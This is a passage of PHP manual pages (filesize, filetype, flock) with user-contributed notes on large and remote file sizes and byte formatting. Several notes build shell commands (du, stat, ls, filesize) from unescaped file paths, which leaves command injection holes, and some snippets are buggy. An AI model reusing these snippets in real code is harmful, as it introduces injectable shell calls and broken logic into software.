    elseif($unit=='pb' XOR $unit=='a' AND strlen($size) < 19){return number_format(($size/1024/1024/1024/1024/1024),$length,',','').' <span title="Petabyte">PiB</span>';}
    elseif($unit=='eb' XOR $unit=='a' AND strlen($size) < 21){return number_format(($size/1024/1024/1024/1024/1024/1024),$length,',','').' <span title="Exabyte">EiB</span>';}
    elseif($unit=='zb' XOR $unit=='a' AND strlen($size) < 24){return number_format(($size/1024/1024/1024/1024/1024/1024/1024),$length,',','').' <span title="Zettabyte">ZiB</span>';}
    elseif($unit=='yb' XOR $unit=='a' AND strlen($size) > 24){return number_format(($size/1024/1024/1024/1024/1024/1024/1024/1024),$length,',','').' <span title="Yottabyte">YiB</span>';}
  }
?>
rommel at rommelsantor dot com 19-Nov-2011 12:11
Extremely simple function to get human filesize.
<?php
function human_filesize($bytes, $decimals = 2) {
  $sz = 'BKMGTP';
  $factor = floor((strlen($bytes) - 1) / 3);
  return sprintf("%.{$decimals}f", $bytes / pow(1024, $factor)) . @$sz[$factor];
}
?>
Dojung Kim 25-Oct-2011 10:20
It could be useful for over 2GB files in linux system.
Using awk, I could find real size of its file.

<?php
function filesize_n($path)
{
        $size = @filesize($path);
        if( $size < 0 ){
            ob_start();
            system('ls -al "'.$path.'" | awk \'BEGIN {FS=" "}{print $5}\'');
            $size = ob_get_clean();
        }

        return $size;
}
?>
stachu540 at gmail dot com 30-Aug-2011 09:02
That is for example how getting filesize with bytes ending.
<?php

function FileSize($file, $setup = null)
{
    $FZ = ($file && @is_file($file)) ? filesize($file) : NULL;
    $FS = array("B","kB","MB","GB","TB","PB","EB","ZB","YB");

    if(!$setup && $setup !== 0)
    {
        return number_format($FZ/pow(1024, $I=floor(log($FZ, 1024))), ($i >= 1) ? 2 : 0) . ' ' . $FS[$I];
    } elseif ($setup == 'INT') return number_format($FZ);
    else return number_format($FZ/pow(1024, $setup), ($setup >= 1) ? 2 : 0 ). ' ' . $FS[$setup];
}
?>
swimming at gmx dot de 23-May-2011 12:53
I found the following to be a nice solution (if you are running Windows) for the >4GB problem. Using the Windows internal Scripting.FileSystemObject you can get the file size using the following code:

<?php
$filesystem = new COM('Scripting.FileSystemObject');
$file = $filesystem->GetFile($filename);
$size = $file->Size();
?>

The file size will be returned as integer for small files, automatically changing to float for bigger ones. The COM class is part of the PHP core.
Alex Aulbach 31-Mar-2011 12:20
Note, that the official IEC-prefix for kilobyte, megabyte and so on are KiB, MiB, TiB and so on.

See http://en.wikipedia.org/wiki/Tebibyte

At first glance this may sound like "What the hell? Everybody knows, that we mean 1024 not 1000 and the difference is not too big, so what?". But in about 10 years, the size of harddisks (and files on them) reaches the petabyte-limit and then the difference between PB and PiB is magnificent.

Better to get used to it now. :)

(I added the same note a view days before in http://php.net/manual/en/function.memory-get-usage.php and found it might be also useful here)
arne_elster at web dot de 28-Jan-2011 06:27
Function that determines a file's size only with PHP functions,
for all files, also those > 4 GB:

<?php

function fsize($file) {
  // filesize will only return the lower 32 bits of
  // the file's size! Make it unsigned.
  $fmod = filesize($file);
  if ($fmod < 0) $fmod += 2.0 * (PHP_INT_MAX + 1);

  // find the upper 32 bits
  $i = 0;

  $myfile = fopen($file, "r");

  // feof has undefined behaviour for big files.
  // after we hit the eof with fseek,
  // fread may not be able to detect the eof,
  // but it also can't read bytes, so use it as an
  // indicator.
  while (strlen(fread($myfile, 1)) === 1) {
    fseek($myfile, PHP_INT_MAX, SEEK_CUR);
    $i++;
  }

  fclose($myfile);

  // $i is a multiplier for PHP_INT_MAX byte blocks.
  // return to the last multiple of 4, as filesize has modulo of 4 GB (lower 32 bits)
  if ($i % 2 == 1) $i--;

  // add the lower 32 bit to our PHP_INT_MAX multiplier
  return ((float)($i) * (PHP_INT_MAX + 1)) + $fmod;
}

?>
Anonymous 21-Jan-2011 06:58
if you recently appended something to file, and closed it then this method will not show appended data:
<?php
// get contents of a file into a string
$filename = "/usr/local/something.txt";
$handle = fopen($filename, "r");
$contents = fread($handle, filesize($filename));
fclose($handle);
?>
You should insert a call to clearstatcache() before calling filesize()
I've spent two hours to find that =/
frank (at) haua dot net 15-Jan-2011 06:19
I have a cli script running that use the filesize function on a ssh2_sftp connection. It has the >2Gb limit issue, while it does not have that issue locally. I have managed to get around this by doing a "du -sb" command through ssh2_shell.

The following function takes the ssh2_connect resource and the path as input. It may not be neat, but it solves the problem for the moment.

<?php
function fSSHFileSize($oConn, $sPath) {
    if(false !== ($oShell = @ssh2_shell($oConn, 'xterm', null, 500, 24, SSH2_TERM_UNIT_CHARS))) {
        fwrite($oShell, "du -sb '".$sPath."'".PHP_EOL);
        sleep(1);
        while($sLine = fgets($oShell)) {
            flush();
            $aResult[] = $sLine;
        }
        fclose($oShell);
        $iSize = 0;
        if(count($aResult) > 1) {
            $sTemp = $aResult[count($aResult)-2];
            $sSize = substr($sTemp, 0, strpos($sTemp, chr(9)));
            if(is_numeric(trim($sSize))) {
                $iTemp = (int)$sSize;
                if($iTemp > "2000000000") $iSize = $iTemp;
            }
        }
        return $iSize;
    }
    return 0;
}
?>
jasondblount (at gmail) 15-Oct-2010 08:41
Find filesize of any file ( >2GB works fine )

<?php
function ffilesize($file){
    $ch = curl_init($file);
    curl_setopt($ch, CURLOPT_NOBODY, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    $data = curl_exec($ch);
    curl_close($ch);
    if ($data === false)
      return false;
    if (preg_match('/Content-Length: (\d+)/', $data, $matches))
      return (float)$matches[1];
}
?>
joaoptm78 at gmail dot com 24-Sep-2010 11:26
And this is my short and very clever simple function. Faster than some of the examples below.

<?php

function format_bytes($size) {
    $units = array(' B', ' KB', ' MB', ' GB', ' TB');
    for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
    return round($size, 2).$units[$i];
}

?>

You can add more units to the $units array and change the number 4 in "$i < 4" accordingly.

But if you want it really fast try this not-so-neat function:

<?php

function format_bytes($bytes) {
   if ($bytes < 1024) return $bytes.' B';
   elseif ($bytes < 1048576) return round($bytes / 1024, 2).' KB';
   elseif ($bytes < 1073741824) return round($bytes / 1048576, 2).' MB';
   elseif ($bytes < 1099511627776) return round($bytes / 1073741824, 2).' GB';
   else return round($bytes / 1099511627776, 2).' TB';
}

?>

I guess you can do it in 1000 different ways :)
eric heudiard 11-Aug-2010 07:37
It's very interesting but I can't stand the decimals for bytes and KB so here's another example :

<?php
function format_size($size) {
      $sizes = array(" Bytes", " KB", " MB", " GB", " TB", " PB", " EB", " ZB", " YB");
      if ($size == 0) { return('n/a'); } else {
      return (round($size/pow(1024, ($i = floor(log($size, 1024)))), $i > 1 ? 2 : 0) . $sizes[$i]); }
}
?>
biolanor at googlemail dot com 20-Jul-2010 05:49
This is a short and very clever function to get filesizes.

<?php
function format_size($size) {
      $sizes = array(" Bytes", " KB", " MB", " GB", " TB", " PB", " EB", " ZB", " YB");
      if ($size == 0) { return('n/a'); } else {
      return (round($size/pow(1024, ($i = floor(log($size, 1024)))), 2) . $sizes[$i]); }
}
?>
martinjohn dot sweeny at gmail dot com 17-Jun-2010 01:12
Here is a quick function for getting a nicer filesize from a number:

<?php

function formatBytes($b,$p = null) {
    /**
     *
     * @author Martin Sweeny
     * @version 2010.0617
     *
     * returns formatted number of bytes.
     * two parameters: the bytes and the precision (optional).
     * if no precision is set, function will determine clean
     * result automatically.
     *
     **/
    $units = array("B","kB","MB","GB","TB","PB","EB","ZB","YB");
    $c=0;
    if(!$p && $p !== 0) {
        foreach($units as $k => $u) {
            if(($b / pow(1024,$k)) >= 1) {
                $r["bytes"] = $b / pow(1024,$k);
                $r["units"] = $u;
                $c++;
            }
        }
        return number_format($r["bytes"],2) . " " . $r["units"];
    } else {
        return number_format($b / pow(1024,$p)) . " " . $units[$p];
    }
}

echo formatBytes(81000000);   //returns 77.25 MB
echo formatBytes(81000000,0); //returns 81,000,000 B
echo formatBytes(81000000,1); //returns 79,102 kB

?>

Feel free to email me if you can think of improvements!
jbudpro at comcast dot net 19-Apr-2010 03:58
Get a real filesize value, return as a string, this way it will not have the same effect as filesize() returning an integer that will be limited by 32-bit php systems. Return can be cast to a (float) to work perfectly for files over 2GB
<?php
// WINDOWS SERVERS:
// str ntfs_filesize( str $filename );
/*
DESCRIPTION: returns the filesize of a large file in string format to...
... prevent 32-bit integer walls using windows command line.
*/
function ntfs_filesize($filename)
{
    return exec("
            for %v in (\"".$filename."\") do @echo %~zv
    ");
}
// LINUX SERVERS:
// str perl_filesize( str $filename );
/*
DESCRIPTION: returns the filesize of a large file in string format to...
... prevent 32-bit integer walls  using perl through linux command line.
*/
function perl_filesize($filename)
{
    return exec("
            perl -e 'printf \"%d\n\",(stat(shift))[7];' ".$filename."
    ");
}

// WARNING: For files over 2GB casting integers may give false values, to prevent this cast to a (float):

$file = "C:/my6GBmovie.avi"; // proper filesize: 6442450944 bytes
var_dump(ntfs_filesize($file); // output: string(10) "6442450944"
var_dump((int)ntfs_filesize($file)); // output: int(2147483647)
var_dump((float)ntfs_filesize($file)); // output: float(6442450944)

?>
itsrool at gmail dot com 12-Nov-2009 12:36
My solution for calculating the directory size:

<?php
/**
 * Get the directory size
 * @param directory $directory
 * @return integer
 */
function dirSize($directory) {
    $size = 0;
    foreach(new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory)) as $file){
        $size+=$file->getSize();
    }
    return $size;
}
?>
tmont 25-Jul-2009 02:05
Here's the best way (that I've found) to get the size of a remote file. Note that HEAD requests don't get the actual body of the request, they just retrieve the headers. So making a HEAD request to a resource that is 100MB will take the same amount of time as a HEAD request to a resource that is 1KB.

<?php
$remoteFile = 'http://us.php.net/get/php-5.2.10.tar.bz2/from/this/mirror';
$ch = curl_init($remoteFile);
curl_setopt($ch, CURLOPT_NOBODY, true);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); //not necessary unless the file redirects (like the PHP example we're using here)
$data = curl_exec($ch);
curl_close($ch);
if ($data === false) {
  echo 'cURL failed';
  exit;
}

$contentLength = 'unknown';
$status = 'unknown';
if (preg_match('/^HTTP\/1\.[01] (\d\d\d)/', $data, $matches)) {
  $status = (int)$matches[1];
}
if (preg_match('/Content-Length: (\d+)/', $data, $matches)) {
  $contentLength = (int)$matches[1];
}

echo 'HTTP Status: ' . $status . "\n";
echo 'Content-Length: ' . $contentLength;
?>

Result:

HTTP Status: 302
Content-Length: 8808759
Svetoslav Marinov 23-Jul-2009 10:24
This is an updated version of my previous filesize2bytes.
The return type now it's really an int.

<?php
/**
 * Converts human readable file size (e.g. 10 MB, 200.20 GB) into bytes.
 *
 * @param string $str
 * @return int the result is in bytes
 * @author Svetoslav Marinov
 * @author http://slavi.biz
 */
function filesize2bytes($str) {
    $bytes = 0;

    $bytes_array = array(
        'B' => 1,
        'KB' => 1024,
        'MB' => 1024 * 1024,
        'GB' => 1024 * 1024 * 1024,
        'TB' => 1024 * 1024 * 1024 * 1024,
        'PB' => 1024 * 1024 * 1024 * 1024 * 1024,
    );

    $bytes = floatval($str);

    if (preg_match('#([KMGTP]?B)$#si', $str, $matches) && !empty($bytes_array[$matches[1]])) {
        $bytes *= $bytes_array[$matches[1]];
    }

    $bytes = intval(round($bytes, 2));

    return $bytes;
}
?>
nak5ive at DONT-SPAM-ME dot gmail dot com 11-Jun-2009 10:59
a quick way to convert bytes to a more readable format can be done using this function:

<?php
function formatBytes($bytes, $precision = 2) {
    $units = array('B', 'KB', 'MB', 'GB', 'TB');

    $bytes = max($bytes, 0);
    $pow = floor(($bytes ? log($bytes) : 0) / log(1024));
    $pow = min($pow, count($units) - 1);

    $bytes /= pow(1024, $pow);

    return round($bytes, $precision) . ' ' . $units[$pow];
}
?>
Anonymous 16-May-2009 02:49
Shortest solution to get filesize of a remote website

<?php

$content = file_get_contents("http://www.example.com");

$handle = fopen("example-com.html", "w+");

fwrite($handle, $content);

fclose($handle);

echo size . ': ' . filesize('example-com.html') . ' bytes';

?>
hedora at web dot de 07-Feb-2009 06:23
reliably, quick & dirty:

<?php
function getdirsize($path)
    {
    $result=explode("\t",exec("du -hs ".$path),2);
    return ($result[1]==$path ? $result[0] : "error");
    }
?>
bs_hck at bk dot ru 27-Jan-2009 11:06
Fix 4Gb limit. ( Now limit 8 Gb ;))

<?php
    function GetRealSize($file) {
        // Return size in Mb
        clearstatcache();
        $INT = 4294967295;//2147483647+2147483647+1;
        $size = filesize($file);
        $fp = fopen($file, 'r');
        fseek($fp, 0, SEEK_END);
        if (ftell($fp)==0) $size += $INT;
        fclose($file);
        if ($size<0) $size += $INT;
        return ceil($size/1024/1024);
    }
?>
7r6ivyeo at mail dot com 21-Nov-2008 05:36
I use the CLI version of PHP on Windows Vista and work with large (~ 10G) Virtual Machine files.  Here's how to get a NTFS file's size without the 4G limit:

<?php
function dos_filesize($fn) {

    if (is_file($fn))
        return exec('FOR %A IN ("'.$fn.'") DO @ECHO %~zA');
    else
        return '0';
}
?>

This should work on any Windows OS that provides DOS shell commands.
revoke 16-Sep-2008 02:23
Another way for remote files -> strlen(join('',file('http://www.example.com/)));
Supermagnus 30-Jun-2008 03:38
<?php
function getSizeFile($url) {
    if (substr($url,0,4)=='http') {
        $x = array_change_key_case(get_headers($url, 1),CASE_LOWER);
        if ( strcasecmp($x[0], 'HTTP/1.1 200 OK') != 0 ) { $x = $x['content-length'][1]; }
        else { $x = $x['content-length']; }
    }
    else { $x = @filesize($url); }

    return $x;
}
?>

In case of you have a redirection in the server (like Redirect Permanent in the .htaccess)

In this case we have for exemple:
    [content-length] => Array

        (

            [0] => 294          // Size requested file

            [1] => 357556     // Real Size redirected file

        )
ronnie at logicalt dot com 02-Mar-2008 06:02
Another workaround for the >2GB "stat failed" in Linux is to call the systems stat as follows:

$size = exec ('stat -c %s '. escapeshellarg ($file_path));
jason dot whitehead dot tas at gmail dot com 08-Feb-2008 03:14
I have created a handy function, using parts of code from kaspernj at gmail dot com and md2perpe at gmail dot com, which should get file sizes > 4GB on Windows, Linux and Mac  (at least).

<?php
    function getSize($file) {
        $size = filesize($file);
        if ($size < 0)
            if (!(strtoupper(substr(PHP_OS, 0, 3)) == 'WIN'))
                $size = trim(`stat -c%s $file`);
            else{
                $fsobj = new COM("Scripting.FileSystemObject");
                $f = $fsobj->GetFile($file);
                $size = $file->Size;
            }
        return $size;
    }
?>
webmaster at eclipse org 07-Nov-2007 07:30
On 64-bit platforms, this seems quite reliable for getting the filesize of files > 4GB

<?php
$a = fopen($filename, 'r');
fseek($a, 0, SEEK_END);
$filesize = ftell($a);
fclose($a);
?>
MagicalTux at gmail dot com 15-Oct-2007 10:58
filesize() acts differently between platforms and distributions.

I tried manually compiling PHP on a 32bit platform. Filesize() would fail on files >2G.

Then I compiled again, adding CFLAGS=`getconf LFS_CFLAGS` in front of configure.

Then filesize() would success, but the result would be converted to a 32bit signed integer...

However on 64bit systems, PHP's integers are 64bit signed, and this would work just well...

So now the question is : should linux distributions (Debian, etc) define LFS_CFLAGS or not ? Doing so makes PHP be able to open/seek such files, but makes its behaviour buggy (stat() is supposed to fail if file size is >32bit and appl does not support such integers)...
md2perpe at gmail dot com 17-Jul-2007 02:29
Another way to get a filesize > 2GB on Linux:
<?php
$size = trim(`stat -c%s $file_path`);
?>
Robin Leffmann 26-Jun-2007 05:49
Here's a dodgy little snippet I made to find out how much disk space (in 1K-blocks) any chosen node - file or directory - occupies in the file system..

<?php
function nodesize( $node )
{
    if( !is_readable($node) ) return false;
    $blah = exec( "/usr/bin/du -sk $node" );
    return substr( $blah, 0, strpos($blah, 9) );
}
?>

The character I search for with strpos() is a tab, as this is what 'du' on OpenBSD uses to separate size and node in the output - this might be whitespaces in other *nixes/distributions.
Josh Finlay <josh at glamourcastle dot com> 12-Nov-2006 12:22
I know there has been alot of remote filesize snippets posted, but I'll post mine also.

It supports HTTP/HTTPS/FTP/FTPS and detects which type it should use. It needs --enable-ftp for the FTP/FTPS functions.

I hope this works for someone.

<?php
    function remotefsize($url) {
        $sch = parse_url($url, PHP_URL_SCHEME);
        if (($sch != "http") && ($sch != "https") && ($sch != "ftp") && ($sch != "ftps")) {
            return false;
        }
        if (($sch == "http") || ($sch == "https")) {
            $headers = get_headers($url, 1);
            if ((!array_key_exists("Content-Length", $headers))) { return false; }
            return $headers["Content-Length"];
        }
        if (($sch == "ftp") || ($sch == "ftps")) {
            $server = parse_url($url, PHP_URL_HOST);
            $port = parse_url($url, PHP_URL_PORT);
            $path = parse_url($url, PHP_URL_PATH);
            $user = parse_url($url, PHP_URL_USER);
            $pass = parse_url($url, PHP_URL_PASS);
            if ((!$server) || (!$path)) { return false; }
            if (!$port) { $port = 21; }
            if (!$user) { $user = "anonymous"; }
            if (!$pass) { $pass = "phpos@"; }
            switch ($sch) {
                case "ftp":
                    $ftpid = ftp_connect($server, $port);
                    break;
                case "ftps":
                    $ftpid = ftp_ssl_connect($server, $port);
                    break;
            }
            if (!$ftpid) { return false; }
            $login = ftp_login($ftpid, $user, $pass);
            if (!$login) { return false; }
            $ftpsize = ftp_size($ftpid, $path);
            ftp_close($ftpid);
            if ($ftpsize == -1) { return false; }
            return $ftpsize;
        }
    }
?>
rico at ws5 dot org 08-Aug-2006 12:41
To get the size of files above 2GB you can use the linux-command filesize like this:

<?php
    function real_filesize_linux($file) {
        @exec("filesize $file",$out,$ret);
        if ( $ret <> '0' ) return FALSE;
        else return($out[0]);
    }
?>
kaspernj at gmail dot com 18-Jul-2006 06:43
If you want to get the actual filesize for a size above 2 gb in Windows, you can use the COM-extensions in PHP.

An example is as follows:

<?php
    function knj_filesize($file){
        if (file_exists($file)){
            $fsobj = new COM("Scripting.FileSystemObject");
            $file = $fsobj->GetFile($file);
            $var = ($file->Size) + 1 - 1;

            return $var;
        }else{
            echo "File does not exist.\n";
            return false;
        }
    }
?>

This will return the corrent filesize. And it is very useful with PHP-GTK applications, where you want to use the filesize for larger files.

This example also works for files over a Windows-network. Try this example with the function:

<?php
   echo knj_filesize("//mycomputer/music/Track1.mp3");
?>

Happy hacking :)
core58 at mail dot ru 14-Apr-2006 08:21
some notes and modifications to previous post.
refering to RFC, when using HTTP/1.1 your request (either GET or POST or HEAD) must contain Host header string, opposite to HTTP/1.1 where Host ain't required. but there's no sure how your remote server would treat the request so you can add Host anyway (it won't be an error for HTTP/1.0).
host value _must_ be a host name (not CNAME and not IP address).

this function catches response, containing Location header and recursively sends HEAD request to host where we are moved until final response is met.
(you can experience such redirections often when downloading something from php scripts or some hash links that use apache mod_rewrite. most all of dowloading masters handle 302 redirects correctly, so this code does it too (running recursively thru 302 redirections).)

[$counter302] specify how much times your allow this function to jump if redirections are met. If initial limit (5 is default) expired -- it returns 0 (should be modified for your purposes whatever).0
ReadHeader() function is listed in previous post
(param description is placed there too).

<?php
function remote_filesize_thru( $ipAddress, $url, $counter302 = 5 )
{
    $socket = fsockopen( "10.233.225.2", 8080 );
    if( !$socket )
    {
        // failed to open TCP socket connection
        // do something sensible here besides exit();
        echo "<br>failed to open socket for [$ipAddress]";
        exit();
    }

    // just send HEAD request to server
    $head = "HEAD $url HTTP/1.0\r\nConnection: Close\r\n\r\n";
    // you may use HTTP/1.1 instead, then your request head string _must_ contain "Host: " header
    fwrite( $socket, $head );

    // read the response header
    $header = ReadHeader( $socket );
    if( !$header )
    {
        // handle empty response here the way you need...
        Header( "HTTP/1.1 404 Not Found" );
        exit();
    }

    fclose( $socket );

    // check for "Location" header
    $locationMarker = "Location: ";
    $pos = strpos( $header, $locationMarker );
    if( $pos > 0 )
    {
            $counter302--;
            if( $counter302 < 0 )
            {
                     // redirect limit (5 by default) expired -- return some warning or do something sensible here
                    echo "warning: too long redirection sequence";
                    return 0;
            }

            // Location is present -- we should determine target host and move there, like any downloading masters do...
            // no need to use regex here
            $end = strpos( $header, "\n", $pos );
            $location = trim( substr( $header, $pos + strlen( $locationMarker ), $end - $pos - strlen( $locationMarker ) ), "\\r\\n" );

             // extract pure host (without "http://")
             $host = explode( "/", $location );
             $ipa = gethostbyname( $host[2] );
             // move to Location
             return remote_filesize_thru( $ipa, $location, $counter302 );
    }

    // try to acquire Content-Length within the response
    $regex = '/Content-Length:\s([0-9].+?)\s/';
    $count = preg_match($regex, $header, $matches);

    // if there was a Content-Length field, its value
    // will now be in $matches[1]
    if( isset( $matches[1] ) )
          $size = $matches[1];
    else
          $size = 0;

    return $size;
}
?>
core58 at mail dot ru 10-Apr-2006 05:09
this is "raw" version of remote_filesize() function.
according to RFC, HTTP servers MUST implement at least GET, POST and HEAD requests, so the function just opens TCP socket connection, sends HEAD request and receives response, parsing length of the resource.
[$ipAddress] is the ip address of remote server.
[$url] is the name of file which size you want to determine.

the code was tested under Apache 2.0.43 and IIS 6.0 and it works correctly in both cases.
i wish the code can save someone's time :)

example:
$ipa = gethostbyname( "www.someserver.com" );
$url = "/docs/somedocument.pdf";

$fsize = remote_filesize2( $ipa, $url );

==========================

<?php

function ReadHeader( $socket )
{
    $i=0;
    $header = "";
    while( true && $i<20 )
    {
        // counter [$i] is used here to avoid deadlock while reading header string
        // it's limited by [20] here cause i really haven't ever met headers with string counter greater than 20
        // *
        $s = fgets( $socket, 4096 );
        $header .= $s;

        if( strcmp( $s, "\r\n" ) == 0 || strcmp( $s, "\n" ) == 0 )
            break;
        $i++;
    }
    if( $i >= 20 )
    {
        // suspicious header strings count was read
        // *
        return false;
    }

    return $header;
}

function remote_filesize2( $ipAddress, $url )
{
    $socket = fsockopen( $ipAddress, 80 );
    if( !$socket )
    {
        // failed to open TCP socket connection
        // do something sensible here besides exit();
        // ...
        exit();

    }

    // just send HEAD request to server
    // *
    fwrite( $socket, "HEAD $url HTTP/1.0\r\nConnection: Close\r\n\r\n" );

    // read the response header
    // *
    $header = ReadHeader( $socket );
    if( !$header )
    {
        Header( "HTTP/1.1 404 Not Found" );
        exit();
    }

    // try to acquire Content-Length within the response
    // *
    $regex = '/Content-Length:\s([0-9].+?)\s/';
    $count = preg_match($regex, $header, $matches);

    // if there was a Content-Length field, its value
    // will now be in $matches[1]
    if( isset( $matches[1] ) )
    {
        $size = $matches[1];
    }
    else
    {
        $size = 0;
    }

    fclose( $socket );
    return $size;

}
?>
mkamerma at science dot uva dot nl 12-Mar-2006 06:12
When read/writing binary files you often cannot rely on the feof() function being of much use, since it doesn't get triggered if the pointer is at the eof but hasn't tried to read one more byte. In this case you instead need to check if the file pointer is at filesize yet, but if you don't have the filename handy, you need to pluck it out fstat all the time. Two simple functions that would be nice to have natively in PHP:

<?php
    function fpfilesize(&$fp) { $stat = fstat($fp); return $stat["size"]; }

    function fpeof(&$fp) { return ftell($fp)==fpfilesize($fp); }
?>
aidan at php dot net 12-Jul-2005 09:01
This function quickly calculates the size of a directory:
http://aidanlister.com/repos/v/function.dirsize.php

You can convert filesizes to a human readable size using:
http://aidanlister.com/repos/v/function.size_readable.php

For a faster (unix only) implementation, see function.disk-total-space, note #34100
http://www.php.net/manual/en/function.disk-total-space.php#34100

Also of interest is this wikipedia article, discussing the difference between a kilobyte (1000) and a kibibyte (1024).
http://en.wikipedia.org/wiki/Bytes
bkimble at ebaseweb dot com 19-Nov-2004 03:33
In addition to the handy function Kris posted, here is an upgraded version that does basic http authentication as well.

<?php
/*
* (mixed)remote_filesize($uri,$user='',$pw='')
* returns the size of a remote stream in bytes or
* the string 'unknown'. Also takes user and pw
* incase the site requires authentication to access
* the uri
*/
function remote_filesize($uri,$user='',$pw='')
{
    // start output buffering
    ob_start();
    // initialize curl with given uri
    $ch = curl_init($uri);
    // make sure we get the header
    curl_setopt($ch, CURLOPT_HEADER, 1);
    // make it a http HEAD request
    curl_setopt($ch, CURLOPT_NOBODY, 1);
    // if auth is needed, do it here
    if (!empty($user) && !empty($pw))
    {
        $headers = array('Authorization: Basic ' .  base64_encode($user.':'.$pw));
        curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
    }
    $okay = curl_exec($ch);
    curl_close($ch);
    // get the output buffer
    $head = ob_get_contents();
    // clean the output buffer and return to previous
    // buffer settings
    ob_end_clean();

    // gets you the numeric value from the Content-Length
    // field in the http header
    $regex = '/Content-Length:\s([0-9].+?)\s/';
    $count = preg_match($regex, $head, $matches);

    // if there was a Content-Length field, its value
    // will now be in $matches[1]
    if (isset($matches[1]))
    {
        $size = $matches[1];
    }
    else
    {
        $size = 'unknown';
    }

    return $size;
}
?>
fileperms
filetype
Filesystem Functions


Gets file type

filesize
flock
Filesystem Functions
PHP Manual

filetype

(PHP 4, PHP 5)

filetype — Gets file type

Description

string filetype ( string $filename )

Returns the type of the given file.

Parameters

filename

Path to the file.

Return Values

Returns the type of the file. Possible values are fifo, char, dir, block, link, file, socket and unknown.

Returns FALSE if an error occurs. filetype() will also produce an E_NOTICE message if the stat call fails or if the file type is unknown.

Examples

Example #1 filetype() example

<?php

echo filetype('/etc/passwd');  // file
echo filetype('/etc/');        // dir

?>

Errors/Exceptions

Upon failure, an E_WARNING is emitted.

Notes

Note: The results of this function are cached. See clearstatcache() for more details.

Tip

As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

See Also

  • is_dir() - Tells whether the filename is a directory
  • is_file() - Tells whether the filename is a regular file
  • is_link() - Tells whether the filename is a symbolic link
  • file_exists() - Checks whether a file or directory exists
  • stat() - Gives information about a file
  • mime_content_type() - Detect MIME Content-type for a file (deprecated)

User Contributed Notes

Abhi Jain 08-Jun-2011 12:01
Putting @ in front of the filetype() function does not prevent it from raising a warning (Lstat failed), if E_WARNING is enabled on your error_reporting.

The most common cause of filetype() raising this warning and not showing a filetype() in the output (it actually returns NULL) is, if you happened to pass just the 'Dir or File Name' and not the complete "Absolute or Relative Path" to that 'file or Dir'. It may still read that file and return its filetype as "file" but for Dir's it shows warning and outputs NULL.
eg:
$pathToFile = '/var/www';
$file = 'test.php';
$dir = 'somedir';

Output for filetype($file) will be returned as 'file' and possibly without any warning, but for filetype($dir), it will return NULL with the warning "Lstat failed", unless you pass a complete path to that dir, i.e. filetype($pathToFile.'/'.$dir).

This happened to me and found this solution after a lot of trial and error. Thought, it might help someone.
adlerweb 07-Oct-2010 01:09
filetype() does not work for files >=2GB on x86 Linux. You can use stat as a workarround:

$type=trim(`stat -c%F $file`);

Note that stat returns diffenerent strings ("regular file","directory",...)
7r6ivyeo at mail dot com 21-Nov-2008 05:29
I use the CLI version of PHP on Windows Vista.  Here's how to determine if a file is marked "hidden" by NTFS:

<?php
function is_hidden_file($fn) {

    $attr = trim(exec('FOR %A IN ("'.$fn.'") DO @ECHO %~aA'));

    if($attr[3] === 'h')
        return true;

    return false;
}
?>

Changing <?php if($attr[3] === 'h') ?> to <?php if($attr[4] === 's') ?> will check for system files.

This should work on any Windows OS that provides DOS shell commands.
ruach at chpc dot utah dot edu 10-Mar-2004 05:11
There are 7 values that can be returned. Here is a list of them and what each one means

block: block special device

char: character special device

dir: directory

fifo: FIFO (named pipe)

file: regular file

link: symbolic link

unknown: unknown file type
filesize
flock
Filesystem Functions


Portable advisory file locking

filetype
fnmatch
Filesystem Functions
PHP Manual

flock

(PHP 4, PHP 5)

flock — Portable advisory file locking

Description

bool flock ( resource $handle , int $operation [, int &$wouldblock ] )

flock() allows you to perform a simple reader/writer model which can be used on virtually every platform (including most Unix derivatives and even Windows).

On versions of PHP before 5.3.2, the lock is released also by fclose() (which is also called automatically when script finished).

PHP supports a portable way of locking complete files in an advisory way (which means all accessing programs have to use the same way of locking or it will not work). By default, this function will block until the requested lock is acquired; this may be controlled (on non-Windows platforms) with the LOCK_NB option documented below.

Parameters

handle

A file system pointer resource that is typically created using fopen().

operation

operation is one of the following:

  • LOCK_SH to acquire a shared lock (reader).
  • LOCK_EX to acquire an exclusive lock (writer).
  • LOCK_UN to release a lock (shared or exclusive).

It is also possible to add LOCK_NB as a bitmask to one of the above operations if you don't want flock() to block while locking. (not supported on Windows)

wouldblock

The optional third argument is set to TRUE if the lock would block (EWOULDBLOCK errno condition). (not supported on Windows)

Return Values

Returns TRUE on success or FALSE on failure.

Changelog

Version | Description
5.3.2 | The automatic unlocking when the file's resource handle is closed was removed. Unlocking now always has to be done manually.
4.0.1 | The LOCK_XXX constants were added. Prior to that you must use 1 for LOCK_SH, 2 for LOCK_EX, 3 for LOCK_UN and 4 for LOCK_NB

Examples

Example #1 flock() example

<?php

$fp = fopen("/tmp/lock.txt", "r+");

if (flock($fp, LOCK_EX)) { // do an exclusive lock
    ftruncate($fp, 0); // truncate file
    fwrite($fp, "Write something here\n");
    flock($fp, LOCK_UN); // release the lock
} else {
    echo "Couldn't get the lock!";
}

fclose($fp);

?>

Example #2 flock() using the LOCK_NB option

<?php
$fp = fopen('/tmp/lock.txt', 'r+');

/* Activate the LOCK_NB option on an LOCK_EX operation */
if(!flock($fp, LOCK_EX | LOCK_NB)) {
    echo 'Unable to obtain lock';
    exit(-1);
}

/* ... */

fclose($fp);
?>

Notes

Note:

flock() uses mandatory locking instead of advisory locking on Windows. Mandatory locking is also supported on Linux and System V based operating systems via the usual mechanism supported by the fcntl() system call: that is, if the file in question has the setgid permission bit set and the group execution bit cleared. On Linux, the file system will also need to be mounted with the mand option for this to work.

Note:

Because flock() requires a file pointer, you may have to use a special lock file to protect access to a file that you intend to truncate by opening it in write mode (with a "w" or "w+" argument to fopen()).

Note:

May only be used on file pointers returned by fopen() for local files, or file pointers pointing to userspace streams that implement the streamWrapper::stream_lock() method.

Warning

Assigning another value to handle argument in subsequent code will release the lock.

Warning

On some operating systems flock() is implemented at the process level. When using a multithreaded server API like ISAPI you may not be able to rely on flock() to protect files against other PHP scripts running in parallel threads of the same server instance!
